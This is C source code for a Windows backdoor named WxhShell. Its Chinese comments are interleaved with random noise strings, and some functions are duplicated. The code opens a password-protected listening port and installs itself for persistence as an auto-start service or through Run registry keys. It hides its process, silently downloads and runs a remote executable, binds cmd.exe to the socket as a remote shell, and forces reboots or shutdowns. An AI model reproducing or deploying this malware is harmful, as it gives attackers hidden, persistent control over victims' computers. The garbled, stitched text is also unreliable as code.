(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <-xu*Fc NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L8cPNgZ
6AKT-r. if (!NtQueryInformationProcess) return 0; `cqZ;(^ 5wI j:s hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v]m#+E if(!hProcess) return 0; t_iZ\_8 wb6$R};? if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +zzS ^ =RSoR CloseHandle(hProcess); 'p4b8:X *Vp$#Rb hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B:tGD@ if(hProcess==NULL) return 0; @v=A)L &;@U54,wV HMODULE hMod; ~f[91m!+ char procName[255]; }9>X M unsigned long cbNeeded; EhHW` 'q*:+|" if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $:<G= {#%;Hq P CloseHandle(hProcess); "6P- 0CJ
b6gD*w< if(strstr(procName,"services")) return 1; // 以服务启动 jY5BVTWnV gb@ |\n return 0; // 注册表启动 .@;,'Xw1~ } be5NasC h}$]3/5H // 主模块 9{5 c}bX int StartWxhshell(LPSTR lpCmdLine) dM3V2TT { d
3}'J SOCKET wsl; N3g?gb"Ex) BOOL val=TRUE; N0G-/ int port=0; rCO:39L- struct sockaddr_in door; Y&_1U/}h L8j#lu if(wscfg.ws_autoins) Install(); B^G{k3]t zVs|go>F port=atoi(lpCmdLine); ~+Da`Wp jZ>'q/ if(port<=0) port=wscfg.ws_port; :cK;|{f T4{&@b
0* WSADATA data; U%na^Wu if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0\y@etb:mf k6 f;A if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; weiqt
*,8 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q>q@ztt door.sin_family = AF_INET; ;zO(bj> door.sin_addr.s_addr = inet_addr("127.0.0.1"); WwDxZ>9jw door.sin_port = htons(port); $zBG19 [% :1wMGk if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V ;)q?ZHg closesocket(wsl); :=tPC A= return 1; a;`-LOO5& } 0Fh*8a}?b ft[g1 if(listen(wsl,2) == INVALID_SOCKET) { 41TB closesocket(wsl); -$4%@Z return 1; K5)G+Id* } r\"O8\ Wxhshell(wsl); Ga%]$4u WSACleanup(); G JItGq`) ?Ib/}JST return 0; V|.aud=7z OR^Wd } v) q6 fwRlqfi // 以NT服务方式启动 HJ5m5':a VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 43-%")bH { y+?tUSPP DWORD status = 0; l#o43xr
DWORD specificError = 0xfffffff; B<[;rk
jl2nRo serviceStatus.dwServiceType = SERVICE_WIN32; ZZE serviceStatus.dwCurrentState = SERVICE_START_PENDING; g#_?Vxt serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5!Z+2Cu] serviceStatus.dwWin32ExitCode = 0; Ytx+7OLe serviceStatus.dwServiceSpecificExitCode = 0; BPrA*u}T serviceStatus.dwCheckPoint = 0; ja7Zv[ serviceStatus.dwWaitHint = 0; 0 \LkJ*i #G.3a]p}" hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W'XMC" if (hServiceStatusHandle==0) return; 45j+n.9=
U&3*c+B4 status = GetLastError(); @LL&ggV? if (status!=NO_ERROR) qqzQKN { HB`pK'gz serviceStatus.dwCurrentState = SERVICE_STOPPED; I9F[b#'Pn serviceStatus.dwCheckPoint = 0; ;@d%<yMf@ serviceStatus.dwWaitHint = 0; 4E
|6l serviceStatus.dwWin32ExitCode = status;
GoEIY serviceStatus.dwServiceSpecificExitCode = specificError; 3Gp4%UT& SetServiceStatus(hServiceStatusHandle, &serviceStatus); {yb\p9q{Yo return; J82{PfQ" } Etu>z+P! doR'=@ W serviceStatus.dwCurrentState = SERVICE_RUNNING; a ^)Mx9 serviceStatus.dwCheckPoint = 0; ~M'\9 serviceStatus.dwWaitHint = 0; btOTDqG`a if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !7xp<= } }qD.Ek _).'SU)> // 处理NT服务事件,比如:启动、停止 'hekCZZ_I VOID WINAPI NTServiceHandler(DWORD fdwControl) 0[1!K&(L { +1)C&: switch(fdwControl) f<w*l<@ { -8tA~;p case SERVICE_CONTROL_STOP: Q"Ec7C5eM serviceStatus.dwWin32ExitCode = 0; =O;SXzgE serviceStatus.dwCurrentState = SERVICE_STOPPED; DYWC]* serviceStatus.dwCheckPoint = 0; ]JD$fS=_ serviceStatus.dwWaitHint = 0; uf;q/Wr { '!.;(Jo SetServiceStatus(hServiceStatusHandle, &serviceStatus); Dz50,*}J } aydal9M return; 0wkLM-lN case SERVICE_CONTROL_PAUSE: I)Lb"
serviceStatus.dwCurrentState = SERVICE_PAUSED; .u*].As= break; y[|g!9Rp case SERVICE_CONTROL_CONTINUE: <=inogf serviceStatus.dwCurrentState = SERVICE_RUNNING; KB"iF}\P0 break; V^{!d} case SERVICE_CONTROL_INTERROGATE: OV/FQH;V break; bvgD;:Aj }; KNg5Ptk SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1ZL_;k } 'sF563kE K%}I}8M // 标准应用程序主函数 =|!~0O int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NNE,|
: { 1!`768 e1loI8 // 获取操作系统版本 nwo!A3w: OsIsNt=GetOsVer(); 7S2F^,w GetModuleFileName(NULL,ExeFile,MAX_PATH); z=p >Y'yM4e* // 从命令行安装 _;q-+"6L; if(strpbrk(lpCmdLine,"iI")) Install(); ?03Zy3/ iy82QNe // 下载执行文件 sOxdq"E if(wscfg.ws_downexe) { .:ZXtU if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 93Gur(j^ WinExec(wscfg.ws_filenam,SW_HIDE); y+scJ+< } ^R7z LHU; #=H}6!18 if(!OsIsNt) { *Z`eNz} // 如果时win9x,隐藏进程并且设置为注册表启动 G`#gV"PlC HideProc(); IVzA>Vd StartWxhshell(lpCmdLine); gwaC?tf[ } ^Ai_/! " else p\_qHq\;j if(StartFromService()) 9BD|uU;0 // 以服务方式启动 |~uzQU7 StartServiceCtrlDispatcher(DispatchTable); !(_xu{(DL else 9H}iX0O // 普通方式启动 .&x?`pER StartWxhshell(lpCmdLine); '}`hY1v :_\!t45 return 0; [9U srpYi } w52HN;Jm /^33 e+j _Q}RElA =@KY A(D =========================================== #Wm@&|U HA.NZkq.tV Rf(x^J{ K# i*9sM
):fu YNJpQAuSn) " ~R?dDL LYy:IBI7_ #include <stdio.h> ?J@?,rZQ^V #include <string.h> BQuliX& #include <windows.h> &8_f'+i0 #include <winsock2.h> KYRm
Ui# #include <winsvc.h> So\| Ye #include <urlmon.h> M`C~6Mf+ Nzi/3r7m #pragma comment (lib, "Ws2_32.lib") [mB(GL #pragma comment (lib, "urlmon.lib") ^8-~@01.`_ qtwT#z;Y #define MAX_USER 100 // 最大客户端连接数 gLxT6v5wk. #define BUF_SOCK 200 // sock buffer ok>P [
&! #define KEY_BUFF 255 // 输入 buffer %j[LRY/ `^&15?Wk #define REBOOT 0 // 重启 bDZKQ& #define SHUTDOWN 1 // 关机 fs3-rXoB & GzhcW~ #define DEF_PORT 5000 // 监听端口 c6Yf"~TD0 WJY4>7}{B@ #define REG_LEN 16 // 注册表键长度 iA%'
;V #define SVC_LEN 80 // NT服务名长度 {glqWFT [aWDD[#j~ // 从dll定义API JhhUg typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vNK`Y|u@ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0[2BY]`Z. typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y=oVUsG typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l6S19Kv BDm88<] // wxhshell配置信息 .o\;,l2 struct WSCFG { 2Z/][?Jj{ int ws_port; // 监听端口 rF8W(E_= char ws_passstr[REG_LEN]; // 口令 S6Xb*6 int ws_autoins; // 安装标记, 1=yes 0=no Y0Hq+7x char ws_regname[REG_LEN]; // 注册表键名 q:2aPfo& char ws_svcname[REG_LEN]; // 服务名 [xZ/ZWb/ char ws_svcdisp[SVC_LEN]; // 服务显示名 wr3_Bf3] char ws_svcdesc[SVC_LEN]; // 服务描述信息 }&Wp3EWw char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TbKP8zw{ int ws_downexe; // 下载执行标记, 1=yes 0=no g+ >=C char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
}@rg5$W char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x9x#'H3 .6O52E }; 6?1s`{yy 3~[`[4n^ // default Wxhshell configuration ,2 zt.aqB struct WSCFG wscfg={DEF_PORT, S s@u,`pr "xuhuanlingzhe", ] ?DDCew 1, yCF"Z/. "Wxhshell", YBYB OH "Wxhshell", a)3O? Y "WxhShell Service", LJRg>8 "Wrsky Windows CmdShell Service", kq) +@p "Please Input Your Password: ", ^%\)Xi 1, 55 S\&Ad$ "http://www.wrsky.com/wxhshell.exe", M!eoe5 "Wxhshell.exe" L#
`lQ"`K }; l^DINZU@ B#HV20\?v // 消息定义模块 1*C:hg@ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q0pC4WJ` char *msg_ws_prompt="\n\r? for help\n\r#>"; vOos*& char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G{@C"H[$< char *msg_ws_ext="\n\rExit."; iBG`43; char *msg_ws_end="\n\rQuit."; a{<p'_ char *msg_ws_boot="\n\rReboot..."; nkCecwzr- char *msg_ws_poff="\n\rShutdown..."; %xf)m[JU= char *msg_ws_down="\n\rSave to "; aQ(`6DQv M
(+.$uz char *msg_ws_err="\n\rErr!"; PV?]UUc'n< char *msg_ws_ok="\n\rOK!"; ANckv|&'v Q Oz9\,C char ExeFile[MAX_PATH]; oS~}TR:} int nUser = 0; 6!ZVd#OM% HANDLE handles[MAX_USER]; LYp'vZ! int OsIsNt; ./#e1m?. 1s Br.+p SERVICE_STATUS serviceStatus; o:_^gJ+| SERVICE_STATUS_HANDLE hServiceStatusHandle; 3>i>@n_ .2e1S{ 9 // 函数声明 UE^D2 u int Install(void); 'nMApPl int Uninstall(void); =g@R%NDNV int DownloadFile(char *sURL, SOCKET wsh); {T&v2u#S int Boot(int flag); bFSlf5*H void HideProc(void); HeCcF+ int GetOsVer(void); wDDx j int Wxhshell(SOCKET wsl); 8)sg_JC void TalkWithClient(void *cs); p"KU7-BfvC int CmdShell(SOCKET sock); u,fA! int StartFromService(void); M:_!w[NiLp int StartWxhshell(LPSTR lpCmdLine); K'NcTw#f \ EZ+#3u VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S."7+g7Ar VOID WINAPI NTServiceHandler( DWORD fdwControl ); Sr&T[ex,. 6)ycmu;!$ // 数据结构和表定义 _ENuwBYW- SERVICE_TABLE_ENTRY DispatchTable[] = &eIGF1ws { +jtA&1cf {wscfg.ws_svcname, NTServiceMain}, aM$\#Cx {NULL, NULL} |1"!kA }; MHo1 lrZa+ 71O3O7 // 自我安装 %fv)7 CRM int Install(void) "V3}t4 { =Ey`M#t; char svExeFile[MAX_PATH]; 5@ foxI HKEY key; ^Gq5ig1rxy strcpy(svExeFile,ExeFile); 6
mO" gLIT;BK // 如果是win9x系统,修改注册表设为自启动 uUG*0Lj if(!OsIsNt) { H?uukmZl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Zn&k[?;Al RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &x0C4Kh RegCloseKey(key); S5_t1wqBJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `U{mbw, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }>&KUl RegCloseKey(key); %9o+zg? RJ return 0; (KTnJZ } KFDS q"j } aI(>]sWJ } |;u}sX1t9 else { sS!w}o2X X
\f[ // 如果是NT以上系统,安装为系统服务 %6ub3PLw8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \DA$6w\\ if (schSCManager!=0) \k@Z7+&7 { mJC3@V
s SC_HANDLE schService = CreateService hVP
IHQt ( 8$vK5Dnn8 schSCManager, KrKu7]If6# wscfg.ws_svcname, 9vI]LfP wscfg.ws_svcdisp, *Oo &}oAj SERVICE_ALL_ACCESS, 9<s4yZF@x SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <L2emL_' SERVICE_AUTO_START, l#bAl/c` SERVICE_ERROR_NORMAL, q0O&UE)6Y svExeFile, ZPO|<uR NULL, 4vdNMV~ NULL, iOqk*EL_r\ NULL, ](K0Fwo`;" NULL, 61_f3S(u NULL C3VLV&wF ); lBA +zZ if (schService!=0) H4<Nnd\ { h`5)2n+ P CloseServiceHandle(schService); /_\W+^fE CloseServiceHandle(schSCManager); |(% u}V? strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); onte&Ed\ strcat(svExeFile,wscfg.ws_svcname); 1u}nm;3 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q\kub_I{@ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m)&znLA RegCloseKey(key); `UzVS>]l[+ return 0; xiM&$<LpR } q'S
=Eav8 } ZR3nK0 CloseServiceHandle(schSCManager); =_pwA:z"A } UAYd?r } .FP$ IWt/1 B|o%_:]+E return 1; j9y3hQ+q } X
K>&$<5{ 61K"(r~ // 自我卸载 >+9JD%]x] int Uninstall(void) LSd*|3E}n { &M"ouy Zo9 HKEY key; 'ks{D(` fCUT[d +H if(!OsIsNt) { I6w~H?ul@* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TEVI'%F RegDeleteValue(key,wscfg.ws_regname); faJM^ u RegCloseKey(key); bEH
de*q( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .BZVX=x RegDeleteValue(key,wscfg.ws_regname); @Hjea1@t RegCloseKey(key); Z<z;L<tJ 9 return 0; Rp.W,)i } y?z\L } L-h$Z0]_F } TZB+lj1 else { >bm|%Ou" :nGMtF SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 45+{nN[ if (schSCManager!=0) 'jaoO9KY
K { UQ8bN I7 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y{=NP if (schService!=0) /g.]RY+u|x { i g71/'D if(DeleteService(schService)!=0) { FLr;`3 CloseServiceHandle(schService); hU {-a` CloseServiceHandle(schSCManager); 9'KonW return 0; d>i13dAI } *i%quMv CloseServiceHandle(schService); {=JF=8@A } Px;Cg
6 CloseServiceHandle(schSCManager); T[uDZYx } %|IUq jg
} 2C
"=!' \U @3` return 1; 5M){!8"S)# } $|<m9CW E`D%PEps+ // 从指定url下载文件 Dn;p4T@ int DownloadFile(char *sURL, SOCKET wsh)
9f+RAN( { < o I8-f HRESULT hr; `/:cfP\ char seps[]= "/"; :`W|hE^ char *token; ,=By$.rr' char *file; =uV,bG5V1 char myURL[MAX_PATH]; PZOKrW char myFILE[MAX_PATH]; "4 k-dj ><Z'D strcpy(myURL,sURL); @.9I3E-= token=strtok(myURL,seps); x>3@R0A1: while(token!=NULL) ?[= U%sPu= { a G27%(@ file=token; ]0~qi@ token=strtok(NULL,seps); '044Vm;/ } z+VV}:Q l4T:d^Eb GetCurrentDirectory(MAX_PATH,myFILE); WZ~> BM strcat(myFILE, "\\"); ($d4:Ww strcat(myFILE, file); Sb"2Im > send(wsh,myFILE,strlen(myFILE),0); KH<v@IJ\ send(wsh,"...",3,0); x ^vt; $ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k0ItG?Cv if(hr==S_OK) 8wFn}lw& return 0; fluGf else A7Y_HIo return 1; &]NZvqdj.] Bc
^4 T1 } o)I/P< rsxRk7s@ // 系统电源模块 uiMIz?+ int Boot(int flag) Q[_Ni15 { -9&g[ HANDLE hToken; 7),*3c ') TOKEN_PRIVILEGES tkp; O
E|+R4M uPDaq ]A if(OsIsNt) { UR:n5V4 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JlIS0hnv LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _rjBc;a tkp.PrivilegeCount = 1; cU | _ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5
,ZRP'oI AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Qj!d ^8 if(flag==REBOOT) { shK&2Noan if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @ ;J|xkJ return 0; \+]O*Bm&`8 } CWMlZVG else { 9 z*(8d if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]h8/M7k return 0; vnZ/tF } 8S= c^_PJ } 0UjyMEiK else { $4h04_" if(flag==REBOOT) { 8Mb$+^zU if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (WMLNv return 0; 4#@0T"T~M } opnkmM&[ else { z1qUz7 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $68 XZCx return 0;
i ~P91 } LOt#1Qv } ,s81rJ- %Fm`Y.l return 1; gQCC>8 } qKx59 SmvwhX // win9x进程隐藏模块 bY&YSlO void HideProc(void) v6(,Ax& { $"(3M nR wEv*1y4 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z22N7W=7 if ( hKernel != NULL ) ~Gwas0eNa { :.C)7( 8S pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); GZ.?MnG ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uRs9}dzv FreeLibrary(hKernel); ,Zr YJ< } )/
n29] X.:_"+I; return; s}<)BRZi } ,at-ci\' =7H.F:BBG // 获取操作系统版本 _{3k+DQ int GetOsVer(void) IcO9V<Q| { ` 3vN R" OSVERSIONINFO winfo; hE9'F(87a winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m|(I} |kT3 GetVersionEx(&winfo); GF9ZL if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |ORmS&7 return 1; 'aLPTVM^ else {8ld:ZP return 0; H@Kl } hVROzGZk X*43!\ // 客户端句柄模块 aEV|>K=6Y' int Wxhshell(SOCKET wsl) 4Q&Xb < { EXv\FUzo SOCKET wsh; l;.[W| struct sockaddr_in client; U1OLI]P DWORD myID; ~x76{.gT '|h./.K while(nUser<MAX_USER) Oct\He\. { ksxO<Y int nSize=sizeof(client); H@ 1[SKBl wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KE&InTM/j if(wsh==INVALID_SOCKET) return 1; #S/pYP`7 >'BU* handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); WW,r9D:/ if(handles[nUser]==0) s\F EA"w/ closesocket(wsh); qP%Smfp6 else :y<Cd[/ nUser++; PaU@T! v } CfWK6 > WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); XPR:_ >TH-Q[ return 0; PW~cqo B71 } h|$zHm >Gw%r1) // 关闭 socket g&5pfrC [ void CloseIt(SOCKET wsh) hx2!YNx ! { &?uzJx~ closesocket(wsh); oeRYyJ nUser--; o
i,g ExitThread(0); 4)c"@Zf } HY%6eUhj 4w3V!K8 // 客户端请求句柄 cZ7F1H~ void TalkWithClient(void *cs) yx`r;|ds} { JsoWaD P(W\aLp SOCKET wsh=(SOCKET)cs; S^sW.(I char pwd[SVC_LEN]; XV0<pV> char cmd[KEY_BUFF]; E<fwl1<88 char chr[1]; N5I W@?4 int i,j; c] :J/'vc *+1"S ]YF while (nUser < MAX_USER) { SE7 (+r Z<m'he if(wscfg.ws_passstr) { C[/Uy if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HS|g
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tMs|UC //ZeroMemory(pwd,KEY_BUFF); Y9c9/_CSj i=0; u/c~PxC while(i<SVC_LEN) { !h~#L"z )jQe K // 设置超时 ?28G6T]/?d fd_set FdRead; MCO$>QL struct timeval TimeOut; t$kf'An}/ FD_ZERO(&FdRead); sn T4X FD_SET(wsh,&FdRead); :_[cT,3 TimeOut.tv_sec=8; oqU#I~ - TimeOut.tv_usec=0; '/]Aaf@U8 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
'Q;?_,` if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :!it7vZ RSVN(-wIi) if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {bsr
9.k( pwd=chr[0]; W*WH .1& if(chr[0]==0xd || chr[0]==0xa) { t2%bHIG} pwd=0; 3@WI*PMc break; MxvxY,~{0 } .$E~.6J %i i++; 4!b'%) } $S-;M0G
x o9SfWErZ // 如果是非法用户,关闭 socket If I$ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n[p9$W` } >IydXmTy ^xu)~:} i send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _(A+_| send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]KPg=@Q/ hI#M {cz while(1) { xg%]\# {_gj>n (1 ZeroMemory(cmd,KEY_BUFF); q9Opa2 6!L*q // 自动支持客户端 telnet标准 rQ-z2Pw j=0; gJfL$S'w while(j<KEY_BUFF) { MvwJ(3 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H;8]GE2n cmd[j]=chr[0]; _=$!T;}lE if(chr[0]==0xa || chr[0]==0xd) { p:n^c5 cmd[j]=0; :s985sEv break; XA^:n+Yo } ee?Mo` j++; 0r&9AnnWu+ } *LQY6=H bM_(`]&* // 下载文件 f9bz:_;W_ if(strstr(cmd,"http://")) { v-aq".XQ send(wsh,msg_ws_down,strlen(msg_ws_down),0); vF\zZ<R/ if(DownloadFile(cmd,wsh)) xE[tD? M{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); &x5ZEe4 else 3@bjIX`=H send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lj AIB(* } C)kQi2T else { ;5_S -KiS6$- switch(cmd[0]) { *F&&rsb <plR<iI. // 帮助 %dR./{txT case '?': { BC[d={_- send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E cz"O
break; 3k0%H]wt } v%Q7 \X( // 安装 mwhn=y#]* case 'i': { D/`E!6Fk= if(Install()) pa73`Ca] send(wsh,msg_ws_err,strlen(msg_ws_err),0); K0@7/*% else : seL= send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jYZWf `X~ break; $8}'6, } ;^i,Q} b/ // 卸载 F'*&-l case 'r': { s~w+bwr if(Uninstall()) *xC ' send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'E,Yht=/} else :W.(,65c send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4e t#Q break; Y'h'8
\ } =h;!# ZC // 显示 wxhshell 所在路径 Q[KR,k case 'p': { N8vl<
Mq char svExeFile[MAX_PATH]; /XB1U[b strcpy(svExeFile,"\n\r"); [9^e
u>)A strcat(svExeFile,ExeFile); /B7
GH5 send(wsh,svExeFile,strlen(svExeFile),0); x6tY _lzJ break; 8<
-Vkr } i=+6R // 重启 I,;)pWX=@ case 'b': { P|U>(9;P, send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Mw.+0R!T if(Boot(REBOOT)) ,Pm/ci(s send(wsh,msg_ws_err,strlen(msg_ws_err),0);
p]oo^ else { H !u:P?j@\ closesocket(wsh); k5YDqGn'q ExitThread(0); |M_Bbo@ud } KK?~i[aL break; BoqW;SG$9 } @Q!j7I // 关机 QPEv@laM case 'd': { =Yk$Q\c send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V'$
eun if(Boot(SHUTDOWN)) 5sE}B8
mF send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~Zm(p*\T else { <k!G%R<9 closesocket(wsh); @C2<AmY9q* ExitThread(0); zU%aobZ } 3a0C<hW break; G`z48 } /a_|oCeC} // 获取shell |7-tUHMo[ case 's': { 2h!3[{M\ CmdShell(wsh); ajAEGD2Zq closesocket(wsh); ,3j*D+ ExitThread(0); Yq_zlxd%F break; &}uO ]0bR } rSk $]E ]Z // 退出 *)1,W+A5L case 'x': { 0AEs+= send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f2=s{0SX0 CloseIt(wsh); hmo?gD< break; u+9Mc u" } c2nZd.SD| // 离开 @&+
1b= case 'q': { jc<3\ 7 send(wsh,msg_ws_end,strlen(msg_ws_end),0); OW>U5 \q closesocket(wsh); ]V_9[=% WSACleanup(); K^S#?T|[9 exit(1);
Du/s break; 4*3vZ6lhu } 2g$Wv :E3 } Qi%A/~ } -4]6tt'G + y^s
6j} // 提示信息 L,<.rr$: if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S92Dvw? } TuU.yvkU } A9#2.5 [Y*UCFhI0 return; ZFzOW } /vMpSN|3 86_Zh5: // shell模块句柄 n'gfB]H[ int CmdShell(SOCKET sock) ^vPa{+N { S("bN{7nE STARTUPINFO si; Z(Vrmz2. ZeroMemory(&si,sizeof(si)); x.q%O1 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ort\J~O si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pUmB
h PROCESS_INFORMATION ProcessInfo; ZoUfQ!2* char cmdline[]="cmd"; 0nS6<: CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q6BWax| return 0; exhF5,AW|K } 34U~7P
r9 k\lj<v<vD // 自身启动模式 JB-j@ int StartFromService(void) bHP-Z9riv { YPM>FDxDB typedef struct vfj Ipg%i { >}9TdP/oT DWORD ExitStatus; Cn"N5(i DWORD PebBaseAddress; uPqPoI>N! DWORD AffinityMask; %~h'#S2X( DWORD BasePriority; UJZa1p@L ULONG UniqueProcessId; YT_kMy> ULONG InheritedFromUniqueProcessId; 2vXMrh\ } PROCESS_BASIC_INFORMATION; k\[2o d/^^8XUK PROCNTQSIP NtQueryInformationProcess; 'Go'87+` /L~*FQQK> static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `A'*x]l static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |QY+vO7fxj K'tz_:d| HANDLE hProcess; cmI8Xf]"P- PROCESS_BASIC_INFORMATION pbi; yT>T
Vq/e 6Q`ce!~$ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k X-AC5] if(NULL == hInst ) return 0; 81g&WQ' V *]!N g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *iR`mZb g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /x-t-} NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ufo?ZFq@$L K{iYp4pU if (!NtQueryInformationProcess) return 0; .UDZW* crT[;w hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kju:/kY A if(!hProcess) return 0; /j^zHrLN rfZA21y{? if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |&'*Z\*ya |EApKxaKD CloseHandle(hProcess); tEeMl =u {Xp.}c hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <Du*Re6g if(hProcess==NULL) return 0; -Av/L>TxlI '-x%?Ll HMODULE hMod; EAI[J&c char procName[255]; U".-C`4v unsigned long cbNeeded; cnsGP*w %Xi%LUk{ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f6#H@
